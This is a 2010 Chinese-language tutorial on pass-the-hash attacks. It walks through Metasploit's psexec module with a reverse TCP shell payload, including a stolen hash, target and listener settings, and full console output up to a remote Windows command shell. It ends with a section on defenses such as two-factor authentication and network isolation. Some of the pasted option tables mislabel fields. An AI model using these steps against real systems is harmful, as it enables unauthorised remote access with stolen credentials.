Copyright (c) 2010 Czy Invicta <Hack01@Live!cn> All rights reserved.
前言 ~~~~~~ 确保密码复杂的策略使密码不能被恶意获取,是安全人员很常见的一个重要话题。而我在这篇文章中不会概述如何通过哈希和存储信息破解系统密码,在本文将侧重于演示通过窃取的密码哈希顺利侵入目标系统。我还将介绍如何检测并预防这种入侵的措施。
哈希在数据包的级别 ~~~~~~~~~~~~~~~~~~~~ 每当创建一个Windows帐户密码都会变成一个哈希密码。散列是一个加密函数,它接受一个任意大小的字符串作为数据的结果,是运用在数学上的加密功能,并返回一个固定大小的字符串。当你尝试访问一个由用户名和密码验证保护的主机,计算机会对你输入的密码执行密码的哈希函数计算,并提交给主机,以便可以与数据库比较取得认证。
现在,考虑一下替代方案。如果我们手动与主机建立连接,但是我们的用户名和密码并不正确,难道我们的管理员用户名和密码哈希被盗用了吗?我们所做的是获得该主机的管理权限。请记住,所有主机所关心的是接收一个匹配的哈希值。这意味着你不必执行单向散列函数的密码,你只需要提供哈希,这是对此入侵的基础。
使用Metasploit传递哈希 ~~~~~~~~~~~~~~~~~~~~~~~ 为了执行这项任务,我们将利用一个已被盗取哈希的受害者机器。为了执行这种攻击,我们将需要两个东西。首先,我们将需要被盗的管理员用户的哈希值。目前,地下组织对获取密码哈希值流行着许多不同的方法,而我们在这里需要利用Metasploit执行入侵。
Metasploit是由HD Moore免费提供的渗透测试框架。同时,我们在这里使用BT4 Linux Live,可以从http://www.backtrack-linux.org/?lang=zh下载,然后,你会发现Metasploit位于/pentest/exploits/framework3目录。
随着我们窃取的哈希值和手头的Metasploit,我们可以开始行动了。首先开启终端并访问/pentest/exploits/framework3目录,之后键入“ ./msfconsole”,这样以能够作为Metasploit启动控制台。
root@czy:~# cd /pentest/exploits/framework3/ root@czy:/pentest/exploits/framework3# ./msfconsole msf >
Metasploit是一个框架,对各种模块的执行取决于行为。在这种情况下,我们将使用Psexec模块。Psexec是一个很普通的工具(不是特定于Metasploit),用于执行远程系统上的进程和输出重定向数据流。为了能够使用这个模块,键入“use windows\smb\psexec”并按回车键。之后,在Shell中的提示符会发生改变,以反映该模块正处于使用状态。
msf > use windows/smb/psexec msf > exploit(psexec) >
然后,我们必须设置有效载荷。一旦账户和哈希已向我们提供适当的身份严重的有效载荷,我们将使用Psexec执行。在这种情况下往往存在着许多恶意意图,而不是一个刚刚公布的具体方案,我们要执行一个命令Shell,可以用它来执行许多讨厌的且重复的命令。这样做更有效的方法之一是使用反向TCP Shell。为了使用这个有效载荷,键入“set payload windows/shell_reverse_tcp”。
msf exploit(psexec) > set payload windows/shell_reverse_tcp payload => windows/shell_reverse_tcp msf exploit(psexec) >
为了使用这个模块和有效载荷,我们不得不配置一些选项。为了我看到这些选项,你可以键入“show options”并按回车键。
msf exploit(psexec) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RHOST 445 yes Set the SMB service port SMBPass no The password for the specified username SMBUser Administrator yes The username to authenticate as
Payload option (windows/shell_reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LHOST yes The listen address LHOST 4444 yes The listen port
Exploit target: Id Name -- ---- 0 Automatic
msf exploit(psexec) >
为了配置选项,我们需要使用语法“set [选项名] [值]”。其值应设置为:
·RHOST - 受害者的IP地址 ·SMBPass - 受害者被盗的哈希 ·SMBUser -受害者的用户名 ·LHOST - 你执行入侵行动的IP地址
在大多数情况下,仅有4个选项需要配置,其它可使用默认配置。
msf exploit(psexec) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.20 yes The target address RHOST 445 yes Set the SMB service port SMBPass E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C no The password for the specified username SMBUser Administrator yes The username to authenticate as
Payload option (windows/shell_reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LHOST 192.168.0.128 yes The listen address LHOST 4444 yes The listen port
Exploit target: Id Name -- ---- 0 Automatic
msf exploit(psexec) >
到这里,所有的准备工作已经完成,我们可以执行任务了。为了做到这一点,只需键入“exploit”并按回车键即可。如果成功的话,你会看到类似以下信息,这是一个不错的Windows命令Shell。现在我们无需任何管理员用户密码即可进行控制。
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.128:4444 [*] Connecting to the server... [*] Authenticating as user 'admin'... [*] Uploading payload... [*] Created \tibpwnoK.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.20[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.20[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (tlfgTpTb - "MBrTRKuKR")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \tibpwnoK.exe... [*] Command shell session 1 opened (192.168.0.128:4444 -> 192.168.0.20:1063) at Sun Jul 25 11:20:59 -0400 2010
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWS\system32>
防御传递哈希 ~~~~~~~~~~~~~~ 在身份验证的过程中,由于传递哈希的性质是难以察觉和防止的,但有一些事情你可以做:
·入侵检测系统监控 - 一个IDS无法检测到攻击者通过哈希入侵的特征,因为它通常看起来像一个正常的序列验证。你可能在检测的同时,攻击者已经获得了访问权限。例如,在我们的实例中,你在受害者机器上可能不会看到对哈希传递的警报,丹妮可能会看到一个psexec创建一个Shell的警告。当检测到类似的信息时并适当地作出回应,以能够判断发生的事情。 ·隔离敏感系统 - 所有包含敏感数据的机器都应该隔离。使用适当的路由器和防火墙配置即可限制访问,只有可信主机能够访问。这将防止在不同机器企图通过哈希技术进入一个敏感的系统用户。 ·双因素认证 - 依靠密码作为身份验证是传统的认证方式。除了密码之外,还需要考虑其它因素,这些因素是智能卡、生物识别等。通过组合这两个因素,即可阻止任何能够只有一个密码或被盗哈希的系统用户。 ·限制管理访问 - 用户帐户越多,具有垮网络的管理权限、被盗哈希概率就越高。应该始终进行定期审计,以确定每个用户是否具有超级管理员权限。
尾声 ~~~~~ 通过哈希很容易完成入侵行动,对受害者机器非常致命。正如你在此文中所看到的操作以及动机,可以对目标基础设施造成完全瘫痪。希望对此入侵和检测以及预防有一个战略性的认识!如果你仍然存在着细节问题,请写信件发送到我的E-Mail(Hack01[at]Live.cn)。
# HACKER NETSPY [CZY]
|